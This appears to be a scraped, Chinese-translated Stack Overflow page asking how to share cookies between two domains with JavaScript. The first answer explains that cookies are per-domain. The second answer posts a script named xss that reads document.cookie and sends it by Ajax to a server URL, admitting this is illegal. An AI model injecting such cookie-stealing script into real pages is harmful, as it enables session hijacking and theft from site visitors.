【问题标题】:How do I share cookies across 2 domains with javascript?如何使用 javascript 在 2 个域之间共享 cookie?
【发布时间】:2011-04-05 21:11:02
【问题描述】:

我希望能够在 example.com 和 mysite.com 之间访问和设置 cookie。我该怎么做?

【问题讨论】:

  • 你不能直接这样做。你想达到什么目的?还可以在此处和 Internet 上搜索“跨域 cookie”以获取解决方法。

标签: javascript cookies


【解决方案1】:

您不能仅使用 cookie 来做到这一点:它们是按域明确设置的,并且没有合法的(阅读:“非利用”)方式为另一个域设置它们。

但是,如果您控制两台服务器,则可以使用一些变通方法/黑客来实现这一点,但事实并非如此,而且它可能会意外中断(请参阅this question;那里的答案应该可以帮助您解决方案)。

【讨论】:

    【解决方案2】:
    <script>
      function xss(){
        var cookies = document.cookie;
        new Ajax.Request('//localhost/index.php?cookies='+cookies, {
          onSuccess: function(response) {
            alert(cookies);
          }
        });
      }
      xss();
    </script>
    

    PS 但这是非法的。 我使用原型库。

    【讨论】:

    • 请扩展 it's illegal 以及为什么使用原型库来改进您的答案。
    猜你喜欢
    • 2021-03-23
    • 2013-08-31
    • 1970-01-01
    • 2017-01-02
    • 2018-08-27
    • 2017-05-14
    • 2013-01-19
    • 2017-07-14
    相关资源
    最近更新 更多